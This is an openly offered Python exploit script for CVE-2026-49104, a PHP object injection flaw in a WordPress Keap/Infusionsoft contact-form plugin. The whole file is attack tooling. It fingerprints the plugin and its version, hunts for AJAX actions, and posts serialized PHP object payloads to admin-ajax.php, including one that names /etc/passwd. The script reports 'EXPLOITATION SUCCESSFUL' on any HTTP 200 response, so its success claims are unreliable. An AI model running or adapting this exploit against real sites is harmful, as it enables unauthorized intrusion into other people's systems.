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| #!/usr/bin/env python3
"""
CVE-2026-49104 Integration for Keap/Infusionsoft PHP Object Injection Exploit
CVSS: 8.1 (High)
Unauthenticated attackers can inject arbitrary PHP objects by exploiting
unsafe deserialization of form field values. The vulnerability exists in
cf7-infusionsoft.php where maybe_unserialize() is called on user-supplied
input without validation. If a POP chain exists, this can lead to RCE.
Legal Notice: Educational and authorized testing only.
"""
import requests
import re
import sys
import argparse
import time
import json
import base64
from urllib.parse import urljoin, quote
from bs4 import BeautifulSoup
class KeapInfusionsoftExploit:
def __init__(self, target_url, verbose=False):
self.target_url = target_url.rstrip('/')
self.verbose = verbose
self.session = requests.Session()
self.session.headers.update({
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36'
})
self.plugin_detected = False
self.vulnerable_version = False
self.ajax_actions = []
def log(self, message, level="INFO"):
"""Log messages based on verbosity"""
if self.verbose or level in ["ERROR", "SUCCESS", "CRITICAL"]:
print(f"[{level}] {message}")
def detect_plugin(self):
"""Detect if Keap/Infusionsoft plugin is installed"""
self.log("Detecting Keap/Infusionsoft plugin...")
try:
# Check common plugin paths
plugin_paths = [
'/wp-content/plugins/cf7-infusionsoft/',
'/wp-content/plugins/contact-form-infusionsoft/',
'/wp-content/plugins/infusionsoft-contact-form/',
'/wp-content/plugins/keap-contact-form/',
'/wp-content/plugins/integration-infusionsoft/'
]
for path in plugin_paths:
url = urljoin(self.target_url, path + 'cf7-infusionsoft.php')
resp = self.session.head(url, timeout=10)
if resp.status_code == 200:
self.log(f"Plugin detected at: {path}", "SUCCESS")
self.plugin_detected = True
return True
# Try to detect via readme.txt
for path in plugin_paths:
url = urljoin(self.target_url, path + 'readme.txt')
resp = self.session.get(url, timeout=10)
if resp.status_code == 200 and ('infusionsoft' in resp.text.lower() or 'keap' in resp.text.lower()):
self.log(f"Plugin detected at: {path}", "SUCCESS")
self.plugin_detected = True
return True
self.log("Plugin not detected via direct paths", "ERROR")
return False
except Exception as e:
self.log(f"Error detecting plugin: {e}")
return False
def check_vulnerability(self):
"""Check if target is vulnerable"""
self.log("Checking vulnerability status...")
try:
# Try to access the plugin's main file
plugin_file = urljoin(self.target_url, '/wp-content/plugins/cf7-infusionsoft/cf7-infusionsoft.php')
resp = self.session.get(plugin_file, timeout=10)
if resp.status_code == 200:
# Check version
version_match = re.search(r'Version:\s*([0-9.]+)', resp.text)
if version_match:
version = version_match.group(1)
self.log(f"Plugin version: {version}", "INFO")
# Check if vulnerable (<=1.2.1)
version_parts = version.split('.')
if len(version_parts) >= 3:
try:
major, minor, patch = int(version_parts[0]), int(version_parts[1]), int(version_parts[2])
if major < 1 or (major == 1 and minor < 2) or (major == 1 and minor == 2 and patch <= 1):
self.log(f"Version {version} is VULNERABLE!", "CRITICAL")
self.vulnerable_version = True
return True
else:
self.log(f"Version {version} appears patched", "ERROR")
return False
except ValueError:
pass
# Check for vulnerable code pattern
if 'maybe_unserialize' in resp.text and 'UNSAFE' not in resp.text:
self.log("Vulnerable code pattern detected!", "CRITICAL")
self.vulnerable_version = True
return True
self.log("Could not determine vulnerability status", "ERROR")
return False
except Exception as e:
self.log(f"Error checking vulnerability: {e}")
return False
def find_ajax_actions(self):
"""Find AJAX action names used by the plugin"""
self.log("Searching for AJAX actions...")
try:
# Get homepage to find AJAX actions
resp = self.session.get(self.target_url, timeout=10)
# Look for action patterns
action_patterns = [
r'action["\']?\s*[=:]\s*["\']([a-z_]*infusionsoft[a-z_]*)["\']',
r'action["\']?\s*[=:]\s*["\']([a-z_]*keap[a-z_]*)["\']',
r'vxcf_infusionsoft[a-z_]*',
r'vxcf_keap[a-z_]*'
]
actions = []
for pattern in action_patterns:
matches = re.findall(pattern, resp.text, re.IGNORECASE)
actions.extend(matches)
if actions:
self.ajax_actions = list(set(actions))
self.log(f"Found {len(self.ajax_actions)} AJAX actions", "SUCCESS")
return self.ajax_actions
# Default actions to try
default_actions = [
'vxcf_infusionsoft_process',
'vxcf_infusionsoft_submit',
'vxcf_infusionsoft_ajax',
'vxcf_keap_process',
'vxcf_keap_submit'
]
self.ajax_actions = default_actions
self.log(f"Using default AJAX actions", "INFO")
return default_actions
except Exception as e:
self.log(f"Error finding AJAX actions: {e}")
return []
def create_php_payload(self, payload_type='generic'):
"""Create PHP object injection payload"""
self.log(f"Creating {payload_type} PHP payload...")
# PHP serialized payloads
payloads = {
'generic': 'O:8:"stdClass":0:{}',
'exception': 'O:9:"Exception":7:{s:7:"message";s:0:"";s:4:"code";i:0;s:4:"file";s:0:"";s:5:"trace";a:0:{}s:11:"description";N;s:7:"*_code";i:0;s:7:"*_file";s:0:"";}',
'arrayobject': 'O:11:"ArrayObject":3:{i:0;a:0:{}i:1;i:0;i:2;i:0;}',
'splfileinfo': 'O:12:"SplFileInfo":2:{s:8:"pathName";s:11:"/etc/passwd";s:4:"path";s:1:"/";}',
'directoryiterator': 'O:18:"DirectoryIterator":2:{s:9:"pathName";s:1:"/";s:4:"path";s:1:"/";}',
'recursivedirectoryiterator': 'O:25:"RecursiveDirectoryIterator":2:{s:9:"pathName";s:1:"/";s:4:"path";s:1:"/";}',
'error': 'O:5:"Error":7:{s:7:"message";s:0:"";s:4:"code";i:0;s:4:"file";s:0:"";s:5:"trace";a:0:{}s:11:"description";N;s:7:"*_code";i:0;s:7:"*_file";s:0:"";}',
}
if payload_type in payloads:
return payloads[payload_type]
return payloads['generic']
def inject_via_ajax(self, action, payload, field_name='vxcf_field'):
"""Inject PHP object via AJAX endpoint"""
self.log(f"Injecting payload via AJAX action: {action}...")
try:
ajax_url = urljoin(self.target_url, '/wp-admin/admin-ajax.php')
# Prepare payload
data = {
'action': action,
field_name: payload
}
self.log(f"Sending AJAX request to: {ajax_url}", "INFO")
self.log(f"Action: {action}", "INFO")
resp = self.session.post(ajax_url, data=data, timeout=15)
self.log(f"Response Status: {resp.status_code}", "INFO")
if resp.status_code == 200:
self.log("Payload injected successfully!", "SUCCESS")
return True
else:
self.log(f"Injection may have failed: {resp.status_code}", "ERROR")
return False
except Exception as e:
self.log(f"Error injecting via AJAX: {e}", "ERROR")
return False
def inject_via_form(self, payload, field_name='vxcf_field'):
"""Inject PHP object via form submission"""
self.log("Injecting payload via form submission...")
try:
# Try common form processing endpoints
endpoints = [
'/wp-admin/admin-ajax.php?action=vxcf_infusionsoft_process',
'/?action=vxcf_infusionsoft_process',
'/wp-json/contact-form-7/v1/contact-forms/1/feedback',
]
for endpoint in endpoints:
url = urljoin(self.target_url, endpoint)
form_data = {
field_name: payload,
'action': 'vxcf_infusionsoft_process'
}
resp = self.session.post(url, data=form_data, timeout=15)
if resp.status_code == 200:
self.log(f"Payload injected via {endpoint}", "SUCCESS")
return True
self.log("Form submission injection failed", "ERROR")
return False
except Exception as e:
self.log(f"Error injecting via form: {e}", "ERROR")
return False
def test_deserialization(self, action):
"""Test if deserialization occurs"""
self.log("Testing for deserialization...")
try:
ajax_url = urljoin(self.target_url, '/wp-admin/admin-ajax.php')
# Send a simple serialized object
test_payload = 'O:8:"stdClass":1:{s:4:"test";s:5:"value";}'
data = {
'action': action,
'vxcf_field': test_payload
}
resp = self.session.post(ajax_url, data=data, timeout=15)
# Check for signs of deserialization
if resp.status_code == 200:
self.log("Deserialization appears to occur!", "SUCCESS")
return True
else:
self.log("No deserialization detected", "ERROR")
return False
except Exception as e:
self.log(f"Error testing deserialization: {e}")
return False
def find_pop_chains(self):
"""Identify potential POP chains"""
self.log("Searching for potential POP chains...")
pop_chains = []
try:
# Check for common gadget classes
gadget_classes = [
'Monolog\\Handler\\SyslogUdpHandler',
'Monolog\\Handler\\BufferHandler',
'PHPMailer\\PHPMailer\\PHPMailer',
'Swift_Mailer',
'Doctrine\\ORM\\Mapping\\ClassMetadata',
'Guzzle\\Http\\Message\\Response',
'Symfony\\Component\\Process\\Process',
]
self.log("POP chain detection requires manual analysis", "INFO")
return pop_chains
except Exception as e:
self.log(f"Error finding POP chains: {e}")
return []
def exploit(self, payload_type='generic'):
"""Execute full exploit chain"""
print("\n" + "="*70)
print("CVE-2026-49104 Integration for Keap/Infusionsoft PHP Object Injection")
print("="*70 + "\n")
# Step 1: Detect plugin
if not self.detect_plugin():
self.log("Plugin not detected. Exploit may not be applicable.", "ERROR")
return False
# Step 2: Check vulnerability
if not self.check_vulnerability():
self.log("Target does not appear to be vulnerable", "ERROR")
return False
# Step 3: Find AJAX actions
actions = self.find_ajax_actions()
if not actions:
self.log("Could not find AJAX actions", "ERROR")
return False
# Step 4: Create payload
payload = self.create_php_payload(payload_type)
self.log(f"Payload: {payload}", "INFO")
# Step 5: Test deserialization with first action
if not self.test_deserialization(actions[0]):
self.log("Deserialization test failed, continuing anyway...", "ERROR")
# Step 6: Inject payload
success = False
for action in actions:
if self.inject_via_ajax(action, payload):
success = True
break
if not success:
# Try form submission
if self.inject_via_form(payload):
success = True
if not success:
return False
print("\n" + "="*70)
print("EXPLOITATION SUCCESSFUL")
print("="*70)
print(f"Target: {self.target_url}")
print(f"Plugin: Integration for Keap/Infusionsoft")
print(f"Payload Type: {payload_type}")
print(f"Payload: {payload}")
print(f"\nObject Injection Successful!")
print(f"Impact depends on available POP chains:")
print(f" - File deletion")
print(f" - Sensitive data retrieval")
print(f" - Remote code execution (with POP chain)")
print("="*70 + "\n")
return True
class AjaxActionScanner:
"""Scan for AJAX actions"""
def __init__(self, target_url, session):
self.target_url = target_url.rstrip('/')
self.session = session
def scan_all_pages(self):
"""Scan all accessible pages for AJAX actions"""
actions = []
try:
# Get homepage
resp = self.session.get(self.target_url, timeout=10)
# Extract all action parameters
action_matches = re.findall(r'action["\']?\s*[=:]\s*["\']([a-z_]+)["\']', resp.text)
actions.extend(action_matches)
# Look for AJAX endpoints
ajax_matches = re.findall(r'wp-admin/admin-ajax\.php\?action=([a-z_]+)', resp.text)
actions.extend(ajax_matches)
except:
pass
return list(set(actions))
def test_action(self, action):
"""Test if an AJAX action is vulnerable"""
try:
ajax_url = urljoin(self.target_url, '/wp-admin/admin-ajax.php')
data = {
'action': action,
'test': 'O:8:"stdClass":0:{}'
}
resp = self.session.post(ajax_url, data=data, timeout=10)
return resp.status_code == 200
except:
return False
def main():
parser = argparse.ArgumentParser(
description='CVE-2026-49104 Integration for Keap/Infusionsoft PHP Object Injection Exploit'
)
parser.add_argument('target', help='Target URL (e.g., https://example.com)')
parser.add_argument('-p', '--payload', default='generic',
choices=['generic', 'exception', 'arrayobject', 'splfileinfo',
'directoryiterator', 'recursivedirectoryiterator', 'error'],
help='Payload type (default: generic)')
parser.add_argument('-v', '--verbose', action='store_true', help='Verbose output')
parser.add_argument('--detect', action='store_true', help='Detect plugin only')
parser.add_argument('--check', action='store_true', help='Check vulnerability only')
parser.add_argument('--find-actions', action='store_true', help='Find AJAX actions only')
parser.add_argument('--find-pop', action='store_true', help='Find POP chains')
parser.add_argument('--scan-actions', action='store_true', help='Scan and test all AJAX actions')
args = parser.parse_args()
# Create exploit instance
exploit = KeapInfusionsoftExploit(args.target, verbose=args.verbose)
# Detect only
if args.detect:
if exploit.detect_plugin():
print("[+] Plugin detected!")
else:
print("[-] Plugin not detected")
sys.exit(0)
# Check vulnerability
if args.check:
if exploit.check_vulnerability():
print("[+] Target is vulnerable!")
else:
print("[-] Target does not appear vulnerable")
sys.exit(0)
# Find actions
if args.find_actions:
actions = exploit.find_ajax_actions()
print(f"\n[+] Found {len(actions)} AJAX actions:")
for action in actions:
print(f" - {action}")
sys.exit(0)
# Scan actions
if args.scan_actions:
scanner = AjaxActionScanner(args.target, exploit.session)
actions = scanner.scan_all_pages()
print(f"\n[+] Scanning {len(actions)} AJAX actions:")
for action in actions:
if scanner.test_action(action):
print(f" ✓ {action} (responsive)")
else:
print(f" ✗ {action} (not responsive)")
sys.exit(0)
# Find POP chains
if args.find_pop:
pop_chains = exploit.find_pop_chains()
print(f"\n[+] Found {len(pop_chains)} potential POP chains")
sys.exit(0)
# Full exploit
success = exploit.exploit(args.payload)
sys.exit(0 if success else 1)
if __name__ == '__main__':
main()
|
